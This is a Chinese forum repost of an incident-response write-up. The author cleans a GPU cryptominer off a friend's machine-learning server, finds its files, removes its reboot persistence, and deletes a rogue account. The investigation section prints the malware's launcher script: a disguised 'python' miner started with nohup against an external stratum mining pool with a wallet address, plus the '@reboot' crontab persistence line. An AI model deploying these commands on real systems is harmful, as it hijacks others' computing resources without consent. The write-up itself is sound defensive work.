搜索

[18651] 2021-08-17_记一次挖矿病毒清除记录

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-08-17_记一次挖矿病毒清除记录 记 一 次 挖 矿 病 毒 清 除 记 录 原 创   f 4 l t J 4 y   h e r e 4 0 4   2 0 2 1 - 0 8 - 1 7 收 录 于 话 题   # 攻 防 思 路   , 9 个 0 x 0 0   分 析 背 景 分 析 背 景 一 个 朋 友 做 机 器 学 习 的 机 器 疑 似 中 了 挖 矿 ， 显 卡 被 p y t h o n 起 来 的 进 程 1 0 0 % 占 用 。 每 次 杀 死 进 程 后 重 启 ， 进 程 就 回 来 了 ， 让 给 看 看 排 查 一 下 。 这 篇 文 章 会 很 水 ， 只 有 几 条 简 单 的 命 令 ， 后 续 并 没 有 对 入 侵 路 径 进 行 回 溯 。 但 还 是 抱 着 分 享 的 心 态 写 一 下 ， 希 望 对 没 接 触 过 的 部 分 朋 友 有 帮 助 。 0 x 0 1   机 器 状 态 机 器 状 态 如 下 图 ， 查 看 显 卡 的 状 态 ， 几 个 p y t h o n 进 程 百 分 之 百 占 用 。 使 用 t o p 命 令 看 一 下 其 实 上 面 两 图 都 是 朋 友 发 过 来 的 ， 直 接 看 图 也 没 法 定 位 出 具 体 问 题 来 。 然 后 跟 朋 友 要 了 v p n 和 机 器 的 账 号 密 码 直 接 r o o t 登 录 。 0 x 0 2   排 查 过 程 排 查 过 程 因 为 朋 友 说 重 启 后 显 卡 还 是 被 占 用 状 态 。 直 接 执 行   看 下 是 否 有 可 以 进 程 ， 一 步 到 位 。 看 这 个 路 径 形 式 ， 基 本 有 谱 了 。 又 问 了 一 下 朋 友 最 早 发 现 显 卡 状 态 的 时 间 与 u p d 文 件 写 入 的 时 间 ， 基 本 吻 合 。 查 看 了 下 . u n i x - f r o n t 路 径 ， 存 在 这 些 文 件 。 在 其 中 某 个 文 件 里 面 发 现 如 下 代 码 其 实 看 到 这 个 协 议 基 本 就 稳 了 ， 占 用 显 卡 挖 矿 的 病 毒 就 是 这 个 导 致 的 。 c r o n t a b   - l i f   [   !   - d   " p r o x y "   ] ;         t h e n     p r o x y = ` c a t   p r o x y `         $ i f s u d o   n o h u p   . / p y t h o n   - a   e t h a s h   - o   s t r a t u m + s s l : / / n o d e . u n i v e r s i t y n e t s e r v i c e 1 9 7 9 . i n f o : 1 2 0 2 0   - u   0 x f f f 2 3 3 3 3 c 1 c b 3 a 3 c 9 d b 8 a 0 d 7 8 1 3 8 3 c d c 2 c 0 0 b 6 d a . $ U s e r   - - p r o x y   $ p r o x y > > / d e v / n u l l   & e l s e         $ i f s u d o   n o h u p   . / p y t h o n   - a   e t h a s h   - o   s t r a t u m + s s l : / / n o d e . u n i v e r s i t y n e t s e r v i c e 1 9 7 9 . i n f o : 1 2 0 2 0   - u   0 x f f f 2 3 3 3 3 c 1 c b 3 a 3 c 9 d b 8 a 0 d 7 8 1 3 8 3 c d c 2 c 0 0 b 6 d a . $ U s e r   > > / d e v / n u l l   & f i
0 x 0 3   清 除 善 后 清 除 善 后 执 行 如 下 指 令 ， 清 空 原 来 的 开 机 自 启 动 的 配 置 。 当 然 ， 删 除 之 前 一 定 保 留 下 原 来 的 配 置 ， 虽 然 这 次 基 本 稳 当 了 。 但 万 一 在 处 理 客 户 系 统 时 候 删 错 ， 因 此 宕 机 ， 没 法 恢 复 ， 就 凉 凉 了 。 删 除 后 ， r e b o o t 重 启 机 器 ， 发 现 显 卡 降 了 下 来 确 定 了 是 这 个 自 启 动 的 原 因 ， 直 接 删 除 。 捎 带 手 看 了 一 眼 / e t c / p a s s w d 文 件 ， 发 现 存 在 一 个 可 疑 账 户 ， 问 了 下 ， 都 没 见 过 ， 使 用 p w c k 修 复 / e t c / p a s s w d 文 件 然 后 直 接 删 除 。 其 他 关 于 溯 源 ， 正 常 来 说 是 要 分 析 一 下 溯 源 ， 他 们 之 前 已 经 进 行 了 很 多 操 作 了 ， 一 些 日 志 也 被 破 坏 了 。 加 上 毕 竟 友 情 协 助 ， 就 到 这 里 啦 。 c r o n t a b   - r @ r e b o o t   / b i n / . u n i x - f o n t / u p d   > / d e v / n u l l   2 > & 1
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理